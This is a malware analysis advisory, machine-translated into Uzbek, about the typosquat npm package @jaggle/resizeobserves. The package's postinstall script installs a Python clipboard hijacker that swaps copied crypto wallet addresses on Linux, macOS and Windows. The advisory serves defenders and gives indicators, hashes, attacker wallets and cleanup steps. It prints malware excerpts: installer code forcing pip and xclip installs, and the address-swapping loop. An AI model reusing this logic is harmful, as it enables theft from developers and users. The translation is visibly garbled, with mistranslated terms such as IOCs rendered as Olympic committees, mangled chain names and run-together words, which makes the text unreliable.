RuntimeBroker npm Typosquat Plants Crypto Clipper

RuntimeBroker: npm Typosquat 40 ta zanjirli kripto-klipperni operatsion tizimlararo "tizim ish vaqti yordamchisi" sifatida o'rnatadi

TP; DR

2026-yil 21-may kuni npm nashriyotchisi jaggle to'qqizta versiyani chiqardi (1.0.0 ichidan 1.0.8) @jaggle/resizeobserves taxminan ikki soatlik vaqt oralig'ida.

Paket qonuniy matnning xatosi @juggle/resize-observer polyfill — haftasiga millionlab yuklab olishlar bilan keng qo'llaniladigan paket — lekin ResizeObserverning haqiqiy implementatsiyasini taqdim etmaydi.

Buning o'rniga, paketning postinstall ilgagi Python paketli yuklamasini o'rnatadi, persistence ni platformaga xos ko'rinishdagi ish vaqti brokeri sifatida qayd etadi va kriptovalyuta tranzaksiyalarini nishonga oluvchi platformalararo buferni o'g'irlovchini joylashtiradi.

Linux qat'iyatlilik quyidagicha ko'rinadi python3-dbus-helper, MacOS as com.apple.python.runtimeva Windows as PyRuntimeBroker.

Yuklama doimiy ravishda hamyon manzillarini buferda kuzatib boradi 40 dan ortiq blokcheynlar va jimgina nusxalangan manzillarni tajovuzkor tomonidan boshqariladigan hamyonlar bilan almashtiradi.

Zararli dastur butunlay mahalliy darajada ishlaydi, C2 infratuzilmasi chiqmaydi, bu esa buferning o'rnini bosuvchi vositani eksfiltratsiya mexanizmi qiladi.

Asosiy IOC paket nomining o'zi: @jaggle/resizeobserves — “jaggle” soʻzidagi tushib qolgan unli tovushga va “resizeobserves” soʻzidagi “s” qoʻshilgan tovushga eʼtibor bering.

Jiddiylik: yuqori.

Hujum: u qanday ishlaydi

npm:@jaggle/resizeobserves tasodifiy zararli dasturga o'xshamaydi npm ko'rinishi. Uning README.md so'zma-so'z README hisoblanadi npm:@juggle/resize-observer — bir xil kod namunalari, bir xil foydalanish ko'rsatmalari, bir xil '@juggle/resize-observer' dan {ResizeObserver} ni import qilish havolalar hamma joyda. Plagiat shunchalik to'liqki, hujjatlarga qaragan har bir kishi qonuniy paketning hujjatlarini o'qiyotgan deb o'ylaydi.

The paket.jsonaksincha, siyrak: yo'q omborxona maydon, bitta bin kirish yo'nalishi bin/clipboard-guardian.jsVa postinstall ishlaydigan skript npm-install.js tuguniREADME ning “Asosiy foydalanish” misollari tarballda hech qayerda mavjud boʻlmagan JavaScript implementatsiyasiga ishora qiladi. Paketdagi yagona JavaScript - bu oʻrnatish skripti.

1-bosqich — npm postinstall Python yuklamasini yuklaydi

npm-install.js platformadan xabardor. U a ni topadi pip belgilangan qidiruv yo'li bo'ylab bajariladigan fayl (/usr/bin/pip3, /usr/local/bin/pip, orqaga qaytish python3 -m pip), paketlangan Python paketini tarball katalogidan o'rnatadi va — Linuxda — ishga tushiradi xclip or xsel orqali maqsadga muvofiq, pacmanyoki dnf agar ikkalasi ham allaqachon mavjud bo'lmasa:

javascript if (PLATFORM === "linux" && !silent("which xclip") && !silent("which xsel")) {   run("apt-get install -y xclip 2>/dev/null") ||   run("pacman -S --noconfirm xclip 2>/dev/null") ||   run("dnf install -y xclip 2>/dev/null"); }  if (   !run(`${pip} install --quiet --upgrade --break-system-packages "${PKG_DIR}"`) &&   !run(`${pip} install --quiet --upgrade "${PKG_DIR}"`) ) process.exit(1); 

foydalanish –break-system-paketlari ataylab qilingan: zamonaviy Linux distributivlari Pythonni PEP 668 ning tashqi boshqariladigan muhit belgisi yoqilgan holda taqdim etadi, bu esa sayt bo'ylab pip o'rnatmalarini sukut bo'yicha bloklaydi. O'rnatish skripti o'rnatishni majburan amalga oshiradi.

Skript shuningdek, sudo-xabardor. Ishlayotgan uid natijasi bo'lganda sudo npm o'rnatish, skript o'qiydi SUDO_USER va o'q otadi getent passwd topish uchun haqiqiy foydalanuvchining uy katalogiga yozadi, keyin esa uning doimiylik fayllarini u yerga emas, balki / rootDoimiylik tizim bo'ylab emas, balki har bir foydalanuvchi uchun.

2-bosqich — Ish vaqti brokeri nomlari ostida operatsion tizimlararo barqarorlik

Python paketi o'rnatilgandan so'ng, skript har bir operatsion tizimda boshqa nom ostida avtomatik ishga tushirish yozuvini ro'yxatdan o'tkazadi:

  • Linux — tizimli foydalanuvchi birligi ~/.config/systemd/user/python3-dbus-helper.serviceBirlikning Tavsif is Python D-Bus Runtime HelperSkript uni yoqishga ham harakat qiladi systemctl –foydalanuvchini yoqish, ostida qo'lda yozilgan ramziy havolaga qaytadi default.target.wants/ systemctl ishlamay qolganda. Agar sudo ostida ishlayotgan bo'lsa, skript quyidagilarga o'tadi sudo -u systemctl –foydalanuvchibilan XDG_RUNTIME_DIR foydalanuvchi-shinasi chaqiruvi ishlashi uchun sozlang.
  • MacOS — LaunchAgent plistida ~/Library/LaunchAgents/com.apple.python.runtime.plist bilan RunAtLoad=true va KeepAlive=true, keyin orqali yuklandi launchctl yuki.
  • Windows — PyRuntimeBroker nomli rejalashtirilgan vazifa, AtLogOn ni ishga tushirdi, bajarilish vaqti nolga teng (ya'ni, kutish vaqti yo'q), PowerShell orqali ro'yxatdan o'tkazildi.

Uchala ism ham bir qarashda ishonchli ko'rinadi. python3-dbus-yordamchisi Linux ish stollarida qonuniy Python-D-Bus integratsiyasining nomlash konvensiyasiga amal qiladi. com.apple.python.runtime Apple’ning o‘z xizmatlari uchun teskari DNS yorlig‘ini taqlid qiladi. PyRuntimeBroker Windows'ning aks-sadosi RuntimeBroker.exe — UWP ilovalari uchun ruxsat so'rovlarini vositachilik qiluvchi haqiqiy, imzolangan Microsoft xizmati. Bu kontekstda ularning hech biri haqiqiy Apple/Microsoft/Python xizmatlari emas, lekin tezkor vizual skanerlashni amalga oshirayotgan himoyachi systemctl –foydalanuvchi ro'yxati birliklari or Rejalashtirilgan vazifani olish titrashi ehtimoldan yiroq emas.

3-bosqich — Buferni o'g'irlash

Python yuklamasi, o'rnatilgan clipboard_guardian/guardian.py, tizim buferini har 400 millisekundda so'rov qilish uchun cheksiz siklni ishga tushiradi. Har bir belgi qo'yilganda, u joriy bufer tarkibini quyidagi orqali oladi pyperclip.paste() va ularni Ethereum, Bitcoin, Monero, Solana, TRON, TON, Ripple, Litecoin, Dogecoin, Polkadot, NEAR, Cosmos, Algorand, Stellar, Cardano, Bitcoin Cash, Dash, Zcash, Aptos, Sui, Tezos, MultiversX, Harmony, Terra, Injective, Osmosis, Kava, Celestia, Nano, Filecoin, Ronin, Ergo, DigiByte, Hedera, BNB Smart Chain va boshqa bir qancha standart konfiguratsiyada (Sei, IOTA, Kaspa, Flow, Nervos, Decred, Ravencoin) to'liq bo'sh bo'lgan hamyon manzili formatlarini qamrab oluvchi qirqdan ortiq oldindan kompilyatsiya qilingan oddiy ifodalar ro'yxatiga qarshi ishlaydi.

Moslik yuzaga kelganda, skript hujumchining o'sha zanjir uchun manzilini o'qiydi ~/.config/clipboard-guardian/config.json (yoki uning platforma ekvivalentlari) va buferni almashtirilgan matn bilan almashtiradi:

python result = find_address_in_text(current, config) if result is None:     time.sleep(POLL_INTERVAL)     continue  chain, found_addr = result my_addr = config[chain] if found_addr == my_addr:     time.sleep(POLL_INTERVAL)     continue  new_text = replace_address_in_text(current, found_addr, my_addr) clipboard_set(new_text) 

Tarmoq signali yo'q. Mashina uyga qo'ng'iroq qilmaydi, zararlangan xostlarni ro'yxatdan o'tkazmaydi, hech narsani eksfiltratsiya qilmaydi. Eksfiltratsiya o'rnini bosadi: foydalanuvchi qabul qiluvchining manzilini o'z hamyonining interfeysidan nusxalab, uni jo'natish oynasiga joylashtirganda, joylashtirilgan manzil operatorga tegishli bo'ladi. Mablag'lar foydalanuvchiga shaffof ravishda tarmoq ichida yo'qoladi.

Bu yerda nima yangiliklar bor

Umumiy kripto-kesgich shabloniga nisbatan bir nechta tafsilotlar ajralib turadi:

1. npm → Python krossoveri. npm da ko'rgan kripto-klipperlarning aksariyati sof JavaScript bo'lib, ko'pincha ular bilan chalkashib ketadi _0x massivni aylantirish yoki eval(atob(…)) stacks. Ushbu namunada npm tarball Python paketi uchun yetkazib berish o'rash vositasi sifatida ishlatiladi — toza Python — va pip qaramlikni o'rnatishni boshqarishga imkon beradi (pyperclip, psutil, ixtiyoriy o'rnatishproctitle) to'plamda e'lon qilingan pyproject.tomlJavaScriptni chalkashtirib yuborishning iloji yo'q. Clipperning o'zi oddiy, o'qilishi oson Python.

2. Ishonchliligi uchun tanlangan Tri-OS qat'iylik yorliqlari. Ko'pgina platformalararo o'rnatuvchilar doimiylikni umumiy nomlar ostida qayd etadilar (yangilovchi.xizmat, yordamchi.plist). Ushbu namuna har bir operatsion tizimda platformaga asoslangan ish vaqti brokerlariga o'xshash yorliqlarni tanlashda qiyinchiliklarga duch keladi. Nomlash - bu yashirinishga yagona urinish - rootkit, foydalanuvchi hududini yashirish, yo'lni chalkashtirish yo'q. Gap shundaki, himoyachilar kamdan-kam hollarda audit qilishadi. ~/.config/systemd/user/ va nomlangan xizmat python3-dbus-yordamchisi tasodifiy sharhda ajralib turmaydi.

3. Jarayon sarlavhasini niqoblash haqiqiy, ammo anti-tahlil harakatsiz holatda. Python yuklamasi a ni belgilaydi _niqoblash_jarayoni() jarayon sarlavhasini belgilaydigan funksiya o'rnatishproctitle (Linux/macOS) yoki SetConsoleSarlavhasiW (Windows) — va asosiy () uni chaqiradi. Shunday qilib ps aux ko'rsatadi python3-dbus-yordamchisi ning o'rniga python3 …/guardian.pyBiroq, xuddi shu modul ... ni belgilaydi is_monitor_running() ma'lum jarayonlarni monitoring qilish vositalarini sanab o'tadigan funksiya (htop, btop, Vazifa menejeri, Faoliyat monitori, Jarayon xakeri, Resurs monitori, GNOME / KDE / Xfce / MATE tizim monitorlari va boshqalar) — va asosiy () hech qachon uni chaqirmaydi. O'zgartirish tsikli foydalanuvchida jarayon monitori ochiq bo'lishidan qat'i nazar, shartsiz ishlaydi. Funktsiya jo'natilgan versiyada o'lik koddir. Bu, ehtimol, avvalgi iteratsiyadan qolgan yoki hali ulanmagan funksiya uchun asosdir. Qanday bo'lmasin, nashr etilgan foydali yuklamaning anti-tahlil yuzasi bitta jarayon sarlavhasini qayta nomlashdir, faol monitordan qochish emas.

4. Birlashtirilgan konfiguratsiya-birlashtirish xatti-harakati. npm-install.js standart hamyon ro'yxatini yozadi ~/.config/clipboard-guardian/config.json va agar konfiguratsiya fayli allaqachon mavjud bo'lsa, mavjud qiymati bo'sh bo'lgan har qanday kalitlarda birlashadi. Bu ilgari zararlangan va konfiguratsiyani qisman tozalagan foydalanuvchi degan ma'noni anglatadi - masalan, bo'shatish orqali ethereum qiymat — uni keyingi har bir zararli paket o'rnatilishi bilan qayta to'ldiradi. Hech qanday kod yo'lida doimiylik faylini tozalash mumkin emas.

Sana / Vaqt (UTC) hodisa
2026-05-21 18:50:32 @jaggle/resizeobserves@1.0.0 chop etildi.
2026-05-21 19:55:55 1.0.1 nashr etilgan — birinchi versiya tashqi skanerlash orqali belgilangan.
2026-05-21 19:58:10 1.0.2 chop etildi.
2026-05-21 20:05:03 1.0.3 chop etildi.
2026-05-21 20:09:24 1.0.4 chop etildi.
2026-05-21 20:13:48 1.0.5 chop etildi.
2026-05-21 20:41:52 1.0.6 chop etildi.
2026-05-21 20:43:56 1.0.7 nashr etilgan — qo'shimchalar try/catch wrapper around wallpaper-config write qadamini kiriting npm-install.js.
2026-05-21 20:46:15 1.0.8 nashr etilgan — o'rnatuvchi qayta nomlangan npm-install.jsnpm-install.cjs (baytlarga o'xshash kontent).
2026-05-22 Hukmlar va Xalqaro Olimpiya qo'mitalari e'lon qilindi. Versiyalar nashr vaqtida reestrda hali ham mavjud (davom etmoqda).

Bir soatu ellik olti daqiqada to'qqizta versiyani yozish hatto xato yozish uchun ham tezdir. Shakl a ga mos keladi nashr qilish va yoqish kampaniyasi — registrni bitta tutqich ostiga to'ldiring, aniqlashni davom ettiring va bitta versiya olib tashlangandan so'ng yangi tutqichga o'ting. Ish jarayonidagi ko'rinadigan deltalar kosmetikdir: 1.0.1 ga aniq qo'shildi /usr/bin/pip3-style pip qidiruv ro'yxatiga yo'llar (sudo-moslik), 1.0.7 wallet-config yozuvini try/catch buyrug'iga o'rab qo'ydi va 1.0.8 o'rnatuvchining nomini o'zgartirdi .js uchun .cjs tarkibini bayt bo'yicha bir xil saqlagan holda. .cjs treklarni npm ogohlantirishlari bilan aniq nomlanmagan paketlardagi noaniq modul o'lchamlari haqida qayta nomlash "turi" maydon va diqqatni jalb qilishi mumkin bo'lgan o'rnatish vaqtidagi shovqinni bostirishga urinish bo'lishi mumkin. Pythonning foydali yuklamasi - aslida o'g'irlaydigan yagona qism - barcha to'qqizta versiyada o'zgarishsiz qolmoqda.

Murosaga kelish ko'rsatkichlari

paketlar

Ekosistema To'plam versiyalari holat
npm @jaggle/resizeobserves 1.0.0 ichidan 1.0.8 Nashr qilingan paytda jonli efirda; olib tashlash so'ralgan.

Fayllar va xeshlar

Yo'l Eslatmalar
clipboard_guardian/guardian.py
(md5 f7935c2c82bc881288611ab6cd634f17)
Barcha to'qqiz nashr etilgan versiyalarda bir xil (1.0.0 ichidan 1.0.8). Qirqgichning foydali yuki.
npm-install.js (1.0.0 – 1.0.7)
npm-install.cjs (1.0.8)
Persistence o'rnatuvchisi; boshidan oxirigacha bir xil xatti-harakatlar. 1.0.7's .js va 1.0.8's .cjs baytlarga o'xshash.
~/.config/clipboard-guardian/config.json Linux qat'iylik konfiguratsiyasi va hamyon to'plami.
~/Library/Application Support/clipboard-guardian/config.json macOS qat'iylik konfiguratsiyasi va hamyon to'plami.
%APPDATA%\clipboard-guardian\config.json Windows qat'iylik konfiguratsiyasi va hamyon to'plami.
~/.config/systemd/user/python3-dbus-helper.service Linux avtomatik ishga tushirish barqarorligi.
~/Library/LaunchAgents/com.apple.python.runtime.plist macOS LaunchAgent barqarorligi.
~/Library/Logs/com.apple.python.runtime.log Agent uchun macOS stdout/stderr jurnali.
Scheduled Task PyRuntimeBroker Windows avtomatik ishga tushirish vazifasi (AtLogOn, tanaffus yo'q).

Xulq-atvor ko'rsatkichlari

Signal Tavsif
pip install --break-system-packages npm postinstall dan PEP 668 himoyasini chetlab o'tib, sayt bo'ylab Python o'rnatilishini majburlaydi.
apt-get install -y xclip (yoki pacman/dnf) Paketni o'rnatish paytida Linuxda clipboard yordamchi dasturlarini o'rnatadi.
python3-dbus-helper.service systemd foydalanuvchi birligi Ishonchli ko'rinadigan ish vaqti yordamchisi nomi ostida ro'yxatdan o'tgan qat'iylik.
com.apple.python.runtime LaunchAgent Apple tizimining qonuniy yo'llaridan tashqarida doimiylik yorlig'i.
PyRuntimeBroker Rejalashtirilgan vazifa Qonuniy o'rnatuvchi manbasi bo'lmagan holda, soxta Windows ish vaqti brokerining doimiyligi.
Python jarayoni deb nomlangan python3-dbus-helper import qilish pyperclip va psutil Ko'rsatilgan jarayon nomi va import qilingan kutubxonalar o'rtasidagi xatti-harakatlar nomuvofiqligi.
Hamyon manzili nusxalanganidan keyin bufer taxminan 0.4 soniya o'zgaradi Kriptovalyuta manzilini almashtirishning imzo harakati.

Hujumchi hamyon to'plami (himoyachilarni qidirish ro'yxati)

Hamyon ro'yxati qattiq kodlangan holda jo'natiladi npm-install.js va clipboard_guardian/guardian.pyHimoyachilar ro'yxatni blok ro'yxati (korporativ hamyonlardan ushbu manzillarga har qanday o'tkazmani shubhali deb hisoblash) va ov kaliti (autentifikatsiya qilinmagan konfiguratsiya faylida, tuzilish artefaktida yoki ishlab chiquvchi mashinasida ushbu satrlarning birortasining mavjudligini infeksiya ko'rsatkichi sifatida ko'rib chiqish) sifatida ishlatishlari mumkin.

Hujumchi hamyon to'plami

zanjir Manzil
Ethereum / BSC 0x450c0E58Fc2ba03632d3F5780ad8C966648B6F18
Ronin (EVM) ronin:450c0E58Fc2ba03632d3F5780ad8C966648B6F18
Bitcoin bc1qs2mpls4p0f7fng073gy2rcdgjpf7la4eugpt6y
Bitcoin Cash bitcoincash:qqmvyxxklzp7l3eslxavhc8phl6hprdf25lwc29nlt
Litecoin ltc1qnefc8x59a9cwtqnflt8hmqvezqw4hc7lt3fkqe
Dogecoin DNEJmYRZtzyK44tZea4S7wV3otTyRk48Fy
Dash XtJ7E6mnhPK93Vib29PGQrTmQjhTTqFwbS
Zcash t1d4hcEnBjdh9X6Wb6R2dxqjnxddJ6ocP8M
DigiByte DPmH2dhiGK3hk3A69tZUMz6tHzGFHBzSrH
Monero 42zhAidVhP7QETk83JAspS59ASALSHFio44vmu6MdDCz15cSqtqsG4QVyzY8vTrjGrTEA6zMbWW6Yft1Ynz1xLfCN5FVbXf
Solana DWBAmQLi9gP6mk7UfJfQGYTV1UPK32WekLTqg83q1mc5
TRON TVgEgMemmJABYYnbNr1Wi8bSgADEkdEBt2
TON UQDTSkvwmptU9eG988KgxS3WjnYAZlXgfpJxnz4mhWZAvULr
Ripple r9tj3cMCiqRijNYqNVYNuwKykkQfS8FE4H
Nuqtali bezak solish 1JSkYqXQE4d28HdcmTPhbgCrdiPFTfSHxD67tam16p53oBG
NEAR 5d6aec44551529e8cd9ebd3aaa84b3832fc3c7463596b2b6e72635b80096a364
Cosmos cosmos1pzfl3kv5g8g0ernj86rwpar08u2zl9suthx28e
osmos osmo1pzfl3kv5g8g0ernj86rwpar08u2zl9surv463t
Selestiya celestia1pzfl3kv5g8g0ernj86rwpar08u2zl9su6ah6a5
In'ektsiya inj1g5xquk8u9wsrvvkn74uq4kxfvejgkmccn578gh
Kava kava1kjfvgcz4q0y9yae2f3pa33vhj2estxxj3sqqux
Uyg'unlik one19hn0n7dzkhtl9ta9ekv5592s85jwstpka76t3a
Terra terra1h0dwu8z405jagdlr0fgr9jllac2sxajzlgme5x
Algorand XSAMN3FTB5SUHUQFENBDDRXIMOPNFVLKAWA3RNOU54DWROMDZ6SR7DZ2PI
yulduz GACNZSV4EQO65NZZUOBS3TMJM7GFTSRNKQBVJOX5P2G7U7SEBQ2ZUDJE
Cardano addr1qyj050vla4cglmyrgm4vzf3dxtn0gynpks4t7vp7s3lg49e9wt0s94hcztzdgecxcz5hu9uk56q60yth6d66w026s2kq3ma56f
MultiverseX erd1slvlgqsmwzk0c8xtksm4eq5vdfnc26slpzqsyxhz456zvme5rpasue6ge0
apt 0x580ecda1ebd6ca5a46be2097568d013308bd54ef1d147acb880b59f7709f280e
Sui 0xf7e8a9a970fa65c058745c4b2cf2a856cc0283863e4ed1e142648f26097b0c78
Nano nano_393n56a5pfz8zg3nkzf7mytfgagzhu5mn9i3xiqg54weq8n1u8jgezxas7dn
Filecoin f1fypyww3xubopfnv7q6yh5l4bko44wmfktf3ckui
Tezos tz1RccjnorHk61bt73ArLXcdgFjEj6T1ochk
Ergo 9g1pNQGnFg7Hk1d9Z66bgHMkguGU7R41btypAnbG1NF5FJoNdBA
Hedera 0.0.10488092

Standart konfiguratsiyada — Sei, IOTA, Kaspa, Flow, Nervos, Decred, Ravencoin, Beacon-Chain BNB — odatiy qamrovga ega, ammo hamyon uyalari bo'sh bo'lgan zanjirlar ushbu tuzilishda faol ravishda almashtirilmaydi, lekin aniqlanadi. Ularni almashtirish doirasi emas, balki monitoring doirasi sifatida ko'rib chiqing.

Atribut va motivatsiya

Kampaniya yupqa atribut yuzasini taklif qiladi. Biz operator identifikatorini tasdiqlay olmadik. Biz nimani yozib olishimiz mumkin:

  • Nashriyotchi metama'lumotlari. npm hisobi jaggle elektron pochtasini quyidagicha ro'yxatlaydi olgascarlet@deltajohnsons.comDomen deltajohnsons.com biz tekshira oladigan korporativ identifikatsiyaga yechim topmaydi. npm hisobi elektron pochta orqali tasdiqlashni ko'rsatmaydi va yo'q SCM tasdiqlash. GitHub bilan bog'liq ommaviy mavjudlik yo'q.
  • Ombor maydoni. The paket.json yo'q omborxona maydon. Qonuniy npm:@juggle/resize-observer minglab yulduzlar va faol muammolarga ega haqiqiy GitHub omboriga ishora qiladi. Ombor havolasining yo'qligi npm UIdagi eng tezkor vizual ko'rsatkichdir.
  • README plagiati. README paketi qonuniydir @juggle/resize-observer README bayt-bayt, shu jumladan import havola qilingan misollar @juggle/resize-observer o'zi (nashriyot paketi emas). Operator importlarni qayta yozishga ham qiynalmadi — bu readme moslashtirilmagani, balki olib tashlangani haqida umumiy signal edi.
  • Yo'nalish uchun hech qanday infratuzilma yo'q. C2 so'nggi nuqtasi, DNS qidiruvi, IP-manzil yo'q. Zararli xatti-harakatlar mahalliy klipperda va qattiq kodlangan hamyon to'plamida to'liq aks ettirilgan. Bu domen yoki ASN asosidagi aylanishni imkonsiz qiladi. Kampaniyalar bo'ylab aylanuvchi himoyachilar hamyonlarni fayldagi oldingi har qanday klipper bilan xesh-moslashtirishlari kerak; hamyonni paketlar bo'ylab qayta ishlatish eng oson o'zaro bog'liqlikdir.
  • Nom tanlash. @jaggle/resizeobserves bitta belgi orqada @juggle va taniqlilardan bir burilish o'lchamini o'zgartirish-kuzatuvchisiBirlashtirilgan tahrirlash masofasi ikkita glifdan iborat. Bu ataylab qilingan vizual to'qnashuv, oddiy cho'ktirish emas.

Foydali yuklama xatti-harakatlariga asoslangan motivatsiya: fursatli buferni almashtirish orqali sof monetizatsiya. Hisob ma'lumotlarini yig'ish, xost barmoq izlari yo'q, muhit o'zgaruvchisini o'qish yo'q. Operator jabrlanuvchi kim ekanligiga ahamiyat bermaydi - ular jabrlanuvchining keyingi o'tkazmasi ko'rsatilgan manzillardan biriga yo'naltirilganligiga ahamiyat berishadi. Qirq zanjirli qamrov amaldagi lotereya modelidir: keng miqyosda, har bir N o'rnatishda bitta yuqori qiymatli pasta tushishiga umid qiling.

Operator olib tashlash bilan qiziqmayotganga o'xshaydi. Ikki soat ichida bir xil doirada to'qqizta versiyani nashr etish nashr qilish va yoqish dastagi kabi o'qiladi: olib tashlash kechikishi yetib kelgunga qadar registr izini maksimal darajada oshiring, keyin davom eting. Biz kuzatmadik @jaggle yozish paytida yangi doirada qayta nashr etilmoqda, lekin biz o'xshash doiralarni kutamiz (@jaggie, @juggle-, @joggle) agar operator hali ham faol bo'lsa, kelgusi kunlarda paydo bo'ladi.

 ta'sir

Joriy ma'lumotlar to'plamidan real puldagi ta'sirni miqdoriy jihatdan aniqlashning iloji yo'q. Qirqgich telemetriya yozmaydi va tahlil tugashi vaqtida hamyonlar hali almashtirilgan o'tkazmalarni olayotgani kuzatilmadi (ro'yxatdagi zanjirlarning keyingi tekshiruvi bizning ro'yxatimizda). Haqiqiy npm:@juggle/resize-observer oʻrtacha haftalik yuklab olishlar yetti xonali songa yetadi — bu yuqori trafikli xato nishoni — va zararli paket oshkor qilingan paytda 24 soatdan kam vaqt davomida faol boʻlgan, bu esa taʼsirlangan populyatsiyani cheklaydi, lekin uni nolga tenglashtirmaydi.

Kuzatishga arziydigan portlash radiusi to'g'ridan-to'g'ri yuklab olishlar emas @jaggle/resizeobserves — ular kichik bo'lishi mumkin. Bu **o'tish davri o'rnatmalari**: dasturchi paketni sinov muhiti loyihasiga qo'shadi, ishga tushiradi npm o'rnatish, va keyin o'rnatish kancasi hech qachon ishlamay qolganini unutib qo'ydim. Postinstallni qayta ishlagan har bir mashinada endi loyiha hali ham diskda bo'lishidan qat'i nazar, avtomatik ishga tushirishda har bir foydalanuvchi uchun clipboardni o'g'irlash funksiyasi mavjud. Paket katalogini olib tashlash tugun_modullari qat'iyatlilikni yo'q qilmaydi.

Rivojlanayotgan naqshlar

Ushbu kampaniya ikkita tendentsiyani misol qilib keltiradi.

npm Python-foydali yuk yetkazib berish paketi sifatida. npm tarball 4 qatorli o'rnatuvchidir; haqiqiy o'g'irlovchi Python bo'lib, butun tizim bo'ylab o'rnatiladi pip paketlangan katalogdan. Bu yangilik emas — biz npm paketlarining Pythonni tashlab yuborganini ko'rganmiz — lekin bu kripto-klipper kampaniyalarida sezilarli darajada keng tarqalgan shaklga aylanib bormoqda. Operator uchun afzallik ikki tomonlama: Python clipboard kutubxonalari (pyperclip ular orasida birinchisi) JavaScript ekvivalentlariga qaraganda tozaroq va platformalararoroq va Ko'pgina avtomatlashtirilgan npm skanerlari JavaScript fayllarini og'irlashtiradi va Python .py yengil o'raladi. Narxi shundaki, o'rnatish izi ancha balandroq - yangi pip o'rnatish odatda bo'lmagan ishlab chiquvchi mashinasida yashirish qiyin pip o'rnatish davomida npm o'rnatish.

Yagona maxfiylik sifatida platformaga xos nomlar. Yaqinda bir nechta mashinkachilar va kichik yuklamali o'g'irlovchilar kod darajasidagi chalkashlikdan butunlay voz kechib, qonuniy ko'rinadigan qat'iylik yorliqlarini qo'llashdi. python3-dbus-yordamchisi, com.apple.python.runtimeva PyRuntimeBroker darslik misollari — himoyachining ko'zi qirq foydalanuvchi xizmatlari ro'yxatidan o'tkazib yuboradigan nomlar. Bu arzon va bardoshli maxfiylik shakli: olib tashlash har bir paket uchun amalga oshiriladi, ammo doimiylik fayllari olib tashlashdan keyin ham saqlanib qoladi va haqiqiy ko'rinishga ega platforma komponenti nomi bilan atalgan xizmat aniq auditdan boshqa hech narsa bilan tozalanmaydi.

Himoyachilar nima qilishlari kerak

  • ~/.config/systemd/user/, ~/Library/LaunchAgents/ va Get-ScheduledTask fayllarini audit qilish Chiqdi IOClarda ko'rsatilgan yozuvlar uchun ishlab chiquvchi mashinalarida. npm paketini olib tashlash ularni joyida qoldiradi; ularni qo'lda olib tashlash kerak.
  • Ro'yxatdagi hamyon manzillariga o'tkazmalarni bloklash manzillarga ruxsat berish ro'yxati mavjud bo'lgan korporativ-g'aznachilik va DeFi-hamyon chegaralarida.
  • ~/.config/clipboard-guardian/config.json faylini qidiring (va platforma ekvivalentlari) ishlab chiquvchi-mashina parki bo'ylab. Faylning mavjudligi, uni qaysi paket versiyasi yetkazib berganidan qat'i nazar, yuqori ishonchlilikdagi infeksiya hisoblanadi.
  • clipboard_guardian/guardian.py uchun node_modules/ ni qidiring olib tashlashdan oldin bo'lishi mumkin bo'lgan build-cache snapshotlarida. Faylning md5 fayli barcha ko'rib chiqilgan versiyalarda barqaror.
  • Lockfile-pin @juggle/resize-observer (qonuniy paket) shuning uchun kelajakdagi o'rnatishlar bitta belgili xato ostida boshqa hech narsani hal qila olmaydi, ayniqsa, qulflangan faylsiz ish oqimlarida. npx.
  • Pip o'rnatilishini chaqiradigan har qanday npm postinstallni qayta ishlash yuqori og'irlikdagi sifatida qurilishda-pipeline siyosat. O'rnatish vaqtida npm paketining pipga ehtiyoji uchun hech qanday qonuniy sabab yo'q — Python tooling Python toolingni tarqatadi.
  • Pyperclip import qiluvchi python3-dbus-helper nomli jarayonlar uchun process_iter() - taqqoslanadigan monitoring ma'lumotlarini qidiring — niqob mos kelmasligi (bufer kutubxonasini ushlab turgan D-Bus yordamchisi) bizdagi eng toza xulq-atvor ko'rsatkichidir.
  • Virusli mashinalardan joylashtirilgan hamyon manzillarini aylantiring. Buferni o'g'irlash vositasi hamyon foydalanuvchi interfeysi va joylashtirish nishoni orasidagi yo'lni buzadi; zararlangan paytda nusxalangan manzillar jimgina o'zgartirilishi mumkin. Zararlanish davrida yuborilgan har qanday narsa noto'g'ri yo'naltirilgan deb hisoblanishi kerak.

Xulosa: qat'iyatlilik olib tashlashdan uzoqroq umr ko'radi. Registr oxir-oqibat olib tashlanadi @jaggle/resizeobserves to'qqizta versiyaning barchasida; systemd birligi, LaunchAgent va Rejalashtirilgan vazifa o'z-o'zidan o'chirilmaydi.

Manbalar

sca-vositalari-dasturiy ta'minot-kompozitsiya-tahlil-vositalari
Dasturiy ta'minot xavflaringizni ustuvorlashtiring, bartaraf eting va himoya qiling
Bepul hisobingizni oling.
Kredit karta talab qilinmaydi.

Dasturiy ta'minotingizni ishlab chiqish va yetkazib berishni ta'minlang

Xygeni mahsulot to'plami bilan